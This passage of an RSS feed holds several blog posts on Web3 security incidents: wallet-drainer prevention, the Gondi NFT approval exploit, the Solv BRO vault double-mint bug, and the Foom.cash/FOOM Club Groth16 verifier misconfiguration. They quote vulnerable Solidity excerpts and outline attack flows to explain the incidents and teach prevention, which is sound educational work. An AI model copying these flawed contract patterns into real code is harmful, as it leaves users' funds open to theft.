CI/CD Pipeline&lt;br&gt;
   ↓&lt;br&gt;
Security Checks&lt;br&gt;
   ↓&lt;br&gt;
Build Verification&lt;br&gt;
   ↓&lt;br&gt;
Immutable Deployment&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Core principles:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No direct production edits&lt;/li&gt;
&lt;li&gt;Enforce signed commits&lt;/li&gt;
&lt;li&gt;Deploy only via CI/CD pipelines&lt;/li&gt;
&lt;li&gt;Audit deployment access&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Preventing Wallet Drainer Attacks
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Enforce Multi-Factor Authentication&lt;/strong&gt;&lt;br&gt;
All developer accounts must require strong authentication.&lt;br&gt;
Recommended:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hardware security keys&lt;/li&gt;
&lt;li&gt;FIDO2 authentication&lt;/li&gt;
&lt;li&gt;passkey-based login
&lt;strong&gt;2. Secure CI/CD Pipelines&lt;/strong&gt;
Never allow direct deployments from user accounts.
Example pipeline:
GitHub → CI Pipeline → Static Analysis → Security Scan → Production&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security checks should include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;dependency scanning&lt;/li&gt;
&lt;li&gt;malicious code detection&lt;/li&gt;
&lt;li&gt;unauthorized commit alerts
&lt;strong&gt;3. Use Subresource Integrity (SRI)&lt;/strong&gt;
Ensure scripts cannot be modified by attackers.


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures the browser verifies the script hash before execution.&lt;br&gt;
&lt;strong&gt;4. Implement a Strict Content Security Policy&lt;/strong&gt;&lt;br&gt;
Content Security Policy can prevent malicious script execution.&lt;br&gt;
Example:&lt;br&gt;
Content-Security-Policy:&lt;br&gt;
default-src 'self';&lt;br&gt;
script-src 'self';&lt;br&gt;
connect-src &lt;a href="https://api.example.com" rel="noopener noreferrer"&gt;https://api.example.com&lt;/a&gt;;&lt;br&gt;
&lt;strong&gt;5. Improve Wallet Signature Transparency&lt;/strong&gt;&lt;br&gt;
Never request signatures with vague messages.&lt;br&gt;
Avoid prompts like:&lt;br&gt;
Sign Message&lt;br&gt;
Approve&lt;br&gt;
Accept Terms&lt;/p&gt;

&lt;p&gt;Instead display clear transaction information:&lt;br&gt;
You are authorizing a transfer of 0.5 SOL&lt;br&gt;
Destination Address: XXXXX&lt;br&gt;
&lt;strong&gt;6. Detect Suspicious On-Chain Activity&lt;/strong&gt;&lt;br&gt;
Monitoring systems should detect abnormal transaction patterns.&lt;br&gt;
Example rule:&lt;br&gt;
Multiple wallets sending funds&lt;br&gt;
to a new unknown address&lt;br&gt;
within a short timeframe&lt;br&gt;
→ trigger alert&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure Wallet Interaction Validation
&lt;/h2&gt;

&lt;p&gt;Developers should validate transactions before requesting signatures.&lt;br&gt;
function validateTransaction(tx) {&lt;/p&gt;

&lt;p&gt;if(tx.type !== "expected_action") {&lt;br&gt;
      throw new Error("Invalid transaction type");&lt;br&gt;
  }&lt;/p&gt;

&lt;p&gt;if(tx.amount &amp;gt; MAX_ALLOWED_LIMIT) {&lt;br&gt;
      throw new Error("Transaction exceeds allowed limit");&lt;br&gt;
  }&lt;/p&gt;

&lt;p&gt;return true;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Never allow unvalidated transactions to be generated directly from the frontend.&lt;/p&gt;

&lt;h2&gt;
  
  
  Web3 Security Checklist for Developers
&lt;/h2&gt;

&lt;p&gt;Before deploying a Web3 application:&lt;br&gt;
enforce MFA for all developer accounts&lt;br&gt;
restrict production deployment access&lt;br&gt;
verify commit signatures&lt;br&gt;
use Content Security Policy&lt;br&gt;
enable Subresource Integrity&lt;br&gt;
audit dependencies&lt;br&gt;
monitor wallet transaction behavior&lt;br&gt;
validate wallet interactions&lt;br&gt;
implement CI/CD security checks&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;This incident demonstrates an important lesson:&lt;br&gt;
Web3 security is not limited to smart contracts.&lt;br&gt;
Even when blockchain infrastructure is secure, attackers can exploit frontend infrastructure, developer accounts, and wallet interaction flows to steal funds.&lt;br&gt;
To prevent similar incidents, Web3 teams must adopt secure DevOps practices, hardened frontend infrastructure, and transparent wallet interaction design.&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>frontend</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>Gondi NFT Lending Platform Hack: A Detailed Report</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Wed, 11 Mar 2026 08:08:57 +0000</pubDate>
      <link>https://dev.to/cryip/gondi-nft-lending-platform-hack-a-detailed-report-489c</link>
      <guid>https://dev.to/cryip/gondi-nft-lending-platform-hack-a-detailed-report-489c</guid>
      <description>&lt;p&gt;On March 9, 2026, the Gondi NFT lending protocol suffered a security exploit that resulted in the theft of approximately 78 non-fungible tokens (NFTs) valued at around $230,000. The vulnerability stemmed from a flaw in the platform's newly deployed "Sell &amp;amp; Repay" smart contract, specifically in the Purchase Bundler function, which lacked proper caller verification. This allowed an attacker to misuse existing user approvals to drain idle NFTs not involved in active loans. Gondi quickly identified the issue, disabled the affected feature, and assured users that active loan collaterals were safe. The platform has since resumed most operations and committed to full compensation for affected users. This report analyzes the incident, its technical details, impact, and lessons for the NFT lending ecosystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Background on Gondi
&lt;/h2&gt;

&lt;p&gt;Gondi is a decentralized NFT lending platform built on Ethereum, enabling users to borrow cryptocurrency (like ETH) against their NFTs as collateral. Launched as an innovative solution for NFT liquidity, it allows borrowers to access funds without selling their assets outright. Key features include loan origination, repayment, and the "Sell &amp;amp; Repay" mechanism, introduced in a February 20, 2026 update, which automates selling escrowed NFTs to repay loans.&lt;br&gt;
The platform operates via smart contracts, where users grant approvals (e.g., setApprovalForAll) to allow the contract to handle their NFTs during loan processes. This approval system, common in DeFi, became the exploit's entry point when combined with the bug in the new contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline of the Incident
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;February 20, 2026: Gondi deploys the updated "Sell &amp;amp; Repay" contract (address starting with 0xc104...), including the Purchase Bundler function for batch NFT handling.&lt;/li&gt;
&lt;li&gt;March 9, 2026, ~8:12 AM UTC: The exploit begins. The attacker executes around 40 transactions, draining 78 NFTs from users who had previously approved the contract. Stolen assets include SuperRare, Art Blocks, Doodles, and Beeple pieces.&lt;/li&gt;
&lt;li&gt;Immediate Detection: Security firms like GoPlus Security and Blockaid detect the anomaly and alert the community. Gondi pauses the affected feature.&lt;/li&gt;
&lt;li&gt;March 9, Afternoon: Gondi issues an official update via X (formerly Twitter), advising users to revoke approvals using tools like Revoke.cash and halt repayments until safe.&lt;/li&gt;
&lt;li&gt;March 10, 2026: Gondi confirms the exploit is contained, resumes most activities, and begins compensation processes after audits by Blockaid and independent reviewers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How the Hack Occurred: Step-by-Step Breakdown
&lt;/h2&gt;

&lt;p&gt;The exploit targeted an approval vulnerability in the Purchase Bundler component of the Sell &amp;amp; Repay contract. Unlike direct wallet hacks, this didn't require stealing private keys but exploited lingering approvals from past interactions.&lt;br&gt;
&lt;strong&gt;User Approvals:&lt;/strong&gt; Many users had previously approved Gondi's contracts (e.g., setApprovalForAll) for loan management. These approvals persist unless revoked and allow the contract to transfer NFTs.&lt;br&gt;
Vulnerable Contract Deployment: The February update introduced the Sell &amp;amp; Repay feature for seamless loan closures via NFT sales. However, the Purchase Bundler function, designed for batch operations, omitted checks on the caller's identity (msg.sender).&lt;br&gt;
&lt;strong&gt;Attacker's Preparation:&lt;/strong&gt; The hacker scanned public blockchain data for users with active approvals to the vulnerable contract (0xc10472ac...).&lt;br&gt;
&lt;strong&gt;Exploit Execution:&lt;/strong&gt; Using their own wallet, the attacker called the buy function with crafted executionData containing targeted NFT details. Due to the missing verification, the contract treated the call as legitimate, transferring NFTs via existing approvals. This affected only idle NFTs (not in active loans), as active collaterals had additional locks.&lt;br&gt;
&lt;strong&gt;Drain and Exit:&lt;/strong&gt; In ~40 transactions, the hacker drained 78 NFTs. Example transaction: 0x83bac5d4b222b97f9734637c072589da648941b8a884ce1a61324dc0449e6a06 (visible on Etherscan).&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Analysis: The Bug in Code
&lt;/h2&gt;

&lt;p&gt;The vulnerability was in the PurchaseBundler.sol contract (verified on Etherscan). Key buggy excerpts:&lt;br&gt;
buy Function (Entry Point):&lt;br&gt;
solidity&lt;br&gt;
function buy(bytes[] calldata executionData) external payable nonReentrant returns (uint256[] memory loanIds) {&lt;br&gt;
    loanIds = _buy(executionData);&lt;br&gt;
}&lt;br&gt;
Issue: No msg.sender restriction – anyone could call it.&lt;br&gt;
_buy Internal Logic:&lt;br&gt;
solidity&lt;br&gt;
function _buy(bytes[] calldata executionData) private returns (uint256[] memory) {&lt;br&gt;
    // ... multicall to MultiSourceLoan without initiator check ...&lt;br&gt;
}&lt;br&gt;
Issue: Proceeds to loan multicalls without verifying the caller's relation to the NFTs.&lt;br&gt;
afterPrincipalTransfer Hook:&lt;br&gt;
solidity&lt;br&gt;
function _afterPrincipalTransfer(IMultiSourceLoan.Loan memory _loan, uint256 _fee, bytes calldata _executionData) private {&lt;br&gt;
    // ... decodes data, calls marketplace without full caller auth ...&lt;br&gt;
    (success,) = executionInfo.module.call{value: executionInfo.value}(executionInfo.data);&lt;br&gt;
}&lt;br&gt;
Issue: Executes transfers assuming validity, relying only on onlyLoanContract modifier – but the chain starts from unrestricted buy.&lt;br&gt;
This "approval exploit" is common in DeFi but was amplified by the bundler's batch capabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impact of the Hack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Financial Loss: ~$230,000 in stolen NFTs (44 Art Blocks, 10 Doodles, etc.).&lt;/li&gt;
&lt;li&gt;Affected Users: Those with unrevoked approvals to the contract; active loans were unaffected.&lt;/li&gt;
&lt;li&gt;Platform Disruption: Temporary halt on repayments and new activities; trust erosion in NFT lending.&lt;/li&gt;
&lt;li&gt;Broader Ecosystem: Highlighted risks of persistent approvals, prompting revoke advisories across DeFi.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Gondi's Response and Mitigation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Gondi acted swiftly:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disabled the Sell &amp;amp; Repay feature.&lt;/li&gt;
&lt;li&gt;Advised revoking approvals via Revoke.cash for contract 0xc10472ac....&lt;/li&gt;
&lt;li&gt;Conducted audits with Blockaid and independents, confirming containment.&lt;/li&gt;
&lt;li&gt;Promised full compensation and shifted focus to user recovery.&lt;/li&gt;
&lt;li&gt;Resumed operations by March 10, excluding the buggy contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Lessons Learned and Recommendations
&lt;/h2&gt;

&lt;p&gt;This incident underscores DeFi's smart contract risks:&lt;br&gt;
&lt;strong&gt;Approval Management:&lt;/strong&gt; Always revoke unused approvals using tools like Revoke.cash.&lt;br&gt;
&lt;strong&gt;Code Audits:&lt;/strong&gt; New features need rigorous caller verification (e.g., require(msg.sender == owner)).&lt;br&gt;
&lt;strong&gt;User Vigilance:&lt;/strong&gt; Monitor wallet activity on Etherscan; use hardware wallets.&lt;br&gt;
&lt;strong&gt;Platform Best Practices:&lt;/strong&gt; Implement time-bound approvals and multi-sig for critical updates.&lt;br&gt;
&lt;strong&gt;Community Advice:&lt;/strong&gt; For Gondi users, revoke immediately; for NFT lenders, diversify platforms.&lt;br&gt;
As NFT lending grows, incidents like this emphasize the need for robust security. Stay tuned for updates on Gondi's recovery efforts.&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>news</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How a Double-Mint Smart Contract Bug Led to the Solv Protocol BRO Vault Exploit</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Fri, 06 Mar 2026 09:18:32 +0000</pubDate>
      <link>https://dev.to/cryip/how-a-double-mint-smart-contract-bug-led-to-the-solv-protocol-bro-vault-exploit-1786</link>
      <guid>https://dev.to/cryip/how-a-double-mint-smart-contract-bug-led-to-the-solv-protocol-bro-vault-exploit-1786</guid>
      <description>&lt;p&gt;Smart contract vulnerabilities in DeFi rarely come from complex cryptography. Most exploits happen because of subtle accounting mistakes in token minting or collateral tracking.&lt;br&gt;
A recent exploit in Solv Protocol’s BRO Vault demonstrates how a small oversight in token processing logic can lead to multi-million dollar losses.&lt;br&gt;
&lt;strong&gt;In this post, we’ll break down:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What the BRO vault does&lt;/li&gt;
&lt;li&gt;Where the vulnerability existed&lt;/li&gt;
&lt;li&gt;How the attacker exploited it&lt;/li&gt;
&lt;li&gt;How developers can prevent similar bugs&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is the BRO Vault?
&lt;/h2&gt;

&lt;p&gt;Solv Protocol uses ERC-3525 Semi-Fungible Tokens (SFTs) to represent value-bearing assets.&lt;br&gt;
The BRO vault allows users to deposit these SFTs and receive wrapped tokens based on their value.&lt;br&gt;
&lt;strong&gt;Simplified architecture&lt;/strong&gt;&lt;br&gt;
User deposits SFT&lt;br&gt;
        ↓&lt;br&gt;
Vault reads SFT value&lt;br&gt;
        ↓&lt;br&gt;
Vault mints BRO tokens&lt;/p&gt;

&lt;p&gt;The vault automatically mints tokens when it receives an SFT.&lt;br&gt;
This happens through the ERC721 receiver callback function.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The critical logic is inside the onERC721Received function.&lt;br&gt;
function onERC721Received(&lt;br&gt;
    address,&lt;br&gt;
    address from_,&lt;br&gt;
    uint256 sftId_,&lt;br&gt;
    bytes calldata&lt;br&gt;
)&lt;br&gt;
external override returns (bytes4)&lt;br&gt;
{&lt;br&gt;
    uint256 sftValue = IERC3525(wrappedSftAddress).balanceOf(sftId_);&lt;br&gt;
    require(sftValue &amp;gt; 0, "mint zero not allowed");&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint256 value = sftValue * exchangeRate / (10 ** decimals());

_mint(from_, value);

return IERC721Receiver.onERC721Received.selector;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
&lt;strong&gt;What this function does&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Receives an SFT token&lt;/li&gt;
&lt;li&gt;Reads the token’s value&lt;/li&gt;
&lt;li&gt;Calculates the amount of wrapped tokens&lt;/li&gt;
&lt;li&gt;Mints tokens to the user
At first glance, the logic appears straightforward.
However, the problem lies in how the contract tracks processed tokens.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The Root Cause of the Vulnerability
&lt;/h2&gt;

&lt;p&gt;The contract does not track whether an SFT has already been processed.&lt;br&gt;
This means the same token ID can potentially trigger the mint logic multiple times.&lt;br&gt;
The only validation present is:&lt;br&gt;
require(sftValue &amp;gt; 0)&lt;/p&gt;

&lt;p&gt;But there is no protection against processing the same collateral twice.&lt;br&gt;
As a result, the contract may mint tokens multiple times using the same underlying asset value.&lt;br&gt;
This leads to a double-mint vulnerability.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the Callback Design Was Risky
&lt;/h2&gt;

&lt;p&gt;The minting logic is executed inside:&lt;br&gt;
onERC721Received()&lt;/p&gt;

&lt;p&gt;This function is automatically triggered when an NFT or SFT is transferred to the contract.&lt;br&gt;
Using callbacks for financial logic introduces several risks.&lt;br&gt;
&lt;strong&gt;1. Implicit execution&lt;/strong&gt;&lt;br&gt;
Developers might assume the function runs once per deposit.&lt;br&gt;
But attackers can manipulate token transfers to trigger it multiple times.&lt;br&gt;
&lt;strong&gt;2. Complex token flows&lt;/strong&gt;&lt;br&gt;
The contract internally transfers SFT balances between token IDs using a helper:&lt;br&gt;
ERC3525TransferHelper.doTransfer(...)&lt;/p&gt;

&lt;p&gt;These internal movements can create unexpected state changes that allow the mint logic to run again.&lt;br&gt;
Possible Attack Flow&lt;br&gt;
A simplified version of the exploit may look like this:&lt;br&gt;
&lt;strong&gt;Step 1 — Attacker deposits an SFT&lt;/strong&gt;&lt;br&gt;
The attacker sends an ERC-3525 token to the vault.&lt;br&gt;
Attacker → Vault&lt;/p&gt;

&lt;p&gt;The onERC721Received callback triggers.&lt;br&gt;
The vault mints wrapped tokens.&lt;br&gt;
&lt;strong&gt;Step 2 — Internal SFT transfer occurs&lt;/strong&gt;&lt;br&gt;
The vault moves value between SFT IDs using an internal transfer helper.&lt;br&gt;
doTransfer(sftId → holdingValueSftId)&lt;/p&gt;

&lt;p&gt;This rearranges token balances.&lt;br&gt;
&lt;strong&gt;Step 3 — Mint logic executes again&lt;/strong&gt;&lt;br&gt;
Because the contract does not mark SFTs as processed, the mint logic can run again using the same token value.&lt;br&gt;
Mint again&lt;br&gt;
&lt;strong&gt;Step 4 — Repeating the process&lt;/strong&gt;&lt;br&gt;
The attacker loops the process:&lt;br&gt;
transfer → mint&lt;br&gt;
transfer → mint&lt;br&gt;
transfer → mint&lt;/p&gt;

&lt;p&gt;Eventually, this inflates the supply of wrapped tokens and allows the attacker to drain assets from the vault.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Double-Mint Bugs Are Dangerous
&lt;/h2&gt;

&lt;p&gt;DeFi protocols rely on strict collateral accounting.&lt;br&gt;
A basic invariant should always hold:&lt;br&gt;
Total Minted Tokens ≤ Total Collateral Deposited&lt;/p&gt;

&lt;p&gt;With a double-mint vulnerability, this rule breaks:&lt;br&gt;
Total Minted Tokens &amp;gt; Actual Collateral&lt;/p&gt;

&lt;p&gt;Once this happens, attackers can withdraw more assets than they deposited.&lt;br&gt;
&lt;strong&gt;How Developers Can Prevent This&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Track Processed Assets&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Always ensure a token can only be processed once.&lt;br&gt;
Example:&lt;br&gt;
mapping(uint256 =&amp;gt; bool) public processedSFT;&lt;/p&gt;

&lt;p&gt;require(!processedSFT[sftId_], "SFT already processed");&lt;/p&gt;

&lt;p&gt;processedSFT[sftId_] = true;&lt;/p&gt;

&lt;p&gt;This prevents double minting from the same collateral.&lt;br&gt;
&lt;strong&gt;2. Avoid Minting in Callback Functions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Callbacks should only validate transfers.&lt;br&gt;
Bad design:&lt;br&gt;
transfer → automatic mint&lt;/p&gt;

&lt;p&gt;Better design:&lt;br&gt;
transfer → record deposit&lt;br&gt;
user calls claim() → mint tokens&lt;/p&gt;

&lt;p&gt;Separating these steps makes logic easier to verify.&lt;br&gt;
&lt;strong&gt;3. Track Value Deltas&lt;/strong&gt;&lt;br&gt;
Instead of reading raw balances:&lt;br&gt;
balanceOf(sftId)&lt;/p&gt;

&lt;p&gt;Track how much value actually changed:&lt;br&gt;
delta = newBalance - previousBalance&lt;/p&gt;

&lt;p&gt;Mint tokens based only on new value deposited.&lt;br&gt;
&lt;strong&gt;4. Use Reentrancy Protection&lt;/strong&gt;&lt;br&gt;
Adding protection helps defend against complex execution flows.&lt;br&gt;
Example:&lt;br&gt;
function onERC721Received(...) external nonReentrant&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways for Smart Contract Developers
&lt;/h2&gt;

&lt;p&gt;The Solv Protocol exploit highlights several common DeFi security pitfalls.&lt;br&gt;
Avoid implicit financial operations&lt;br&gt;
Critical actions like minting should require explicit user interaction.&lt;br&gt;
Track every collateral asset&lt;br&gt;
Assets must never be counted more than once.&lt;br&gt;
Keep accounting logic simple&lt;br&gt;
Complex token transfers increase the chance of accounting errors.&lt;br&gt;
Enforce invariants&lt;br&gt;
Protocols should constantly ensure:&lt;br&gt;
mintedSupply ≤ collateralValue&lt;/p&gt;

&lt;p&gt;If this rule breaks, the system becomes vulnerable to inflation attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Solv Protocol BRO vault exploit is a reminder that smart contract security often comes down to careful state management and correct accounting.&lt;br&gt;
A missing validation check allowed the same collateral to be processed multiple times, leading to token inflation and fund loss.&lt;br&gt;
For developers building DeFi protocols, the key lesson is simple:&lt;br&gt;
Always assume that every external interaction — including token transfers — can be manipulated by attackers.&lt;br&gt;
Design contracts so that each deposit is processed exactly once and every mint is fully backed by collateral.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>blockchain</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Front-running the Exploiter: A Technical Breakdown of the $1.84M Foom.cash White-Hat Rescue</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Thu, 05 Mar 2026 08:35:04 +0000</pubDate>
      <link>https://dev.to/cryip/front-running-the-exploiter-a-technical-breakdown-of-the-184m-foomcash-white-hat-rescue-14bl</link>
      <guid>https://dev.to/cryip/front-running-the-exploiter-a-technical-breakdown-of-the-184m-foomcash-white-hat-rescue-14bl</guid>
      <description>&lt;p&gt;On February 27, 2026, Foom.cash faced a critical Smart Contract exploit across Ethereum and Base networks. The attack vector was a Groth16 Verifier deployment error, leading to a "Forged Proof" vulnerability. While $2.26M was initially at risk, a coordinated white-hat effort recovered 81% ($1.84M) of the funds.&lt;br&gt;
This post deep-dives into the technical execution of that recovery.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerability: Groth16 Malleability &amp;amp; Forged Proofs
&lt;/h2&gt;

&lt;p&gt;The core of the issue lay in the Zero-Knowledge Proof (ZKP) verification logic. Specifically, the Groth16 verifier contract had a misconfiguration that failed to properly validate the constraints between public inputs and the proof.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Bug: The contract didn't strictly check if the proof was unique or if it was bound to the specific transaction data.&lt;/li&gt;
&lt;li&gt;The Exploit: Attackers used "Proof Malleability." By slightly altering a valid proof, they could generate a "new" forged proof that the contract still accepted as true.&lt;/li&gt;
&lt;li&gt;The Result: This allowed unauthorized withdraw() calls, tricking the contract into releasing funds to the attacker's address.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Rescue Operation: "White-Hat Front-running"
&lt;/h2&gt;

&lt;p&gt;The recovery wasn't just a patch; it was an active counter-exploit. Here is how @duha_real and DecurityHQ secured the funds:&lt;br&gt;
&lt;strong&gt;Real-time Monitoring &amp;amp; Mempool Analysis&lt;/strong&gt;&lt;br&gt;
Security researcher @duha_real (a former Foom.cash hacking contest winner) detected the malicious transactions on the Base network. By performing a deep-dive analysis of the transaction's input data and the forged proof structure, he was able to reverse-engineer the exploit payload.&lt;br&gt;
&lt;strong&gt;The "Save-to-Safe" Strategy&lt;/strong&gt;&lt;br&gt;
To prevent the attacker from draining the remaining TVL (Total Value Locked), the white-hats used the same forged proof vulnerability against the protocol:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. **Scripting the Interception:&lt;/strong&gt;** They deployed a script to submit withdrawal transactions with higher gas fees (priority fees) than the attacker.&lt;br&gt;
&lt;strong&gt;2. Redirecting Funds:&lt;/strong&gt; Instead of withdrawing to a personal wallet, the white-hats directed the output of the forged proofs to a Secure Multisig Wallet controlled by the recovery team.&lt;br&gt;
&lt;strong&gt;3. Cross-chain Coordination:&lt;/strong&gt; While @duha_real focused on Base, the security firm DecurityHQ executed a similar rescue on Ethereum Mainnet, securing 90% of the ETH-based assets before the malicious bot could react.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cost of Security: Bounties vs. Loss
&lt;/h2&gt;

&lt;p&gt;Post-recovery, Foom.cash opted for full transparency. The protocol paid out $420,000 in recovery fees:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;$320,000 Bounty to @duha_real for the Base network rescue.&lt;/li&gt;
&lt;li&gt;$100,000 Fee to DecurityHQ for the Ethereum mainnet operation.
Compared to a potential $2.26M total loss, the $1.84M recovery proves that active threat monitoring and having a relationship with the white-hat community is the best insurance for DeFi protocols.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Key Takeaways for Devs
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;ZKP Security: Never assume a standard verifier library is "plug-and-play." Deployment parameters (like verifying the setup key) are critical.&lt;/li&gt;
&lt;li&gt;Active Defense: In DeFi, a "pause" function isn't always enough. You need white-hats who can front-run malicious actors in the mempool.&lt;/li&gt;
&lt;li&gt;Formal Verification: Always run formal verification on the circuit constraints to ensure no forged proofs can be validated.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>solidity</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>The $1.8M FOOM Club Exploit: When a Groth16 Verifier Misconfiguration Breaks Soundness</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Tue, 03 Mar 2026 11:53:32 +0000</pubDate>
      <link>https://dev.to/cryip/the-18m-foom-club-exploit-when-a-groth16-verifier-misconfiguration-breaks-soundness-5b9</link>
      <guid>https://dev.to/cryip/the-18m-foom-club-exploit-when-a-groth16-verifier-misconfiguration-breaks-soundness-5b9</guid>
      <description>&lt;p&gt;On February 26, 2026, the FOOM Club ecosystem on Base suffered a $1.8M exploit that drained over 4.5 trillion $FOOM tokens. The incident was not caused by a flaw in ZK-SNARK cryptography. Instead, it was triggered by a misconfigured Groth16 verifier contract.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This distinction matters.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The mathematics behind Groth16 remained intact. What failed was the implementation specifically the verification key parameters embedded in the smart contract.&lt;/p&gt;

&lt;p&gt;This post analyzes what went wrong and why verifier correctness is just as critical as circuit correctness in ZK applications.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the Vulnerability Lived
&lt;/h2&gt;

&lt;p&gt;FOOM.Cash implemented a lottery system using Groth16, a widely adopted ZK-SNARK protocol known for small proof sizes and efficient on-chain verification.&lt;/p&gt;

&lt;p&gt;The workflow was standard: a trusted setup generated a Proving Key (PK) and Verification Key (VK). Users produced a proof π = (A, B, C) demonstrating they possessed a winning secret without revealing it. The on-chain verifier validated this proof using elliptic curve pairings.&lt;/p&gt;

&lt;p&gt;The issue did not originate in the circuit constraints.&lt;/p&gt;

&lt;p&gt;It originated in the verification key stored inside the smart contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Pairing Equation and Its Assumption
&lt;/h2&gt;

&lt;p&gt;Groth16 verification enforces the equation:&lt;br&gt;
e(A,B)=e(α,β)⋅e(L,γ)⋅e(C,δ)&lt;br&gt;
Here, A and C are G1 points, B is a G2 point, and α, β, γ, δ are fixed parameters derived during trusted setup. The term L is computed from public inputs.&lt;/p&gt;

&lt;p&gt;The soundness of Groth16 depends on the algebraic independence of these parameters particularly γ and δ. If this independence is compromised, the pairing equation can degenerate into a weaker constraint.&lt;/p&gt;

&lt;p&gt;That is exactly what happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  The delta2 == gamma2 Misconfiguration
&lt;/h2&gt;

&lt;p&gt;Security analysis revealed that the verifier contract had delta2 equal to gamma2 in G2.&lt;/p&gt;

&lt;p&gt;In Groth16, γ and δ serve different algebraic roles in enforcing proof validity. If they become equal or linearly dependent, the pairing equation loses its strength. An attacker can then construct a manipulated C value that satisfies verification without knowing the actual witness.&lt;/p&gt;

&lt;p&gt;This is known as proof malleability.&lt;/p&gt;

&lt;p&gt;The attacker did not break elliptic curves. They exploited a verifier that was mathematically weakened by incorrect parameters.&lt;/p&gt;

&lt;p&gt;Once δ equaled γ, the smart contract effectively lost its ability to enforce soundness. Invalid proofs became indistinguishable from valid ones.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the Exploit Played Out
&lt;/h2&gt;

&lt;p&gt;The attacker funded a wallet on Base and deployed a custom exploit contract. Instead of manually interacting with FOOM.Cash, they automated proof submissions.&lt;/p&gt;

&lt;p&gt;By crafting forged proofs that satisfied the weakened pairing equation, the attacker repeatedly triggered the withdraw logic.&lt;/p&gt;

&lt;p&gt;The drain resulted in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;4,588,196,709,531 $FOOM tokens extracted&lt;/li&gt;
&lt;li&gt;Approximately $1.82M USD in value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No flash loans were involved.&lt;br&gt;
No reentrancy.&lt;br&gt;
No integer overflow.&lt;/p&gt;

&lt;p&gt;The entire exploit hinged on cryptographic parameter misconfiguration.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Is a Dangerous Class of Failure
&lt;/h2&gt;

&lt;p&gt;Most smart contract exploits exploit business logic or token economics. This one exploited cryptographic assumptions at the verifier layer.&lt;/p&gt;

&lt;p&gt;Groth16 guarantees completeness, soundness, and zero-knowledge but only if the verification key is correctly generated and embedded. Those guarantees are conditional, not automatic.&lt;/p&gt;

&lt;p&gt;If the verification key is flawed, the proof system remains mathematically correct  yet practically useless.&lt;/p&gt;

&lt;p&gt;This is what makes such vulnerabilities particularly dangerous. They are subtle, non-obvious, and often missed during traditional audits.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Developers Must Internalize
&lt;/h2&gt;

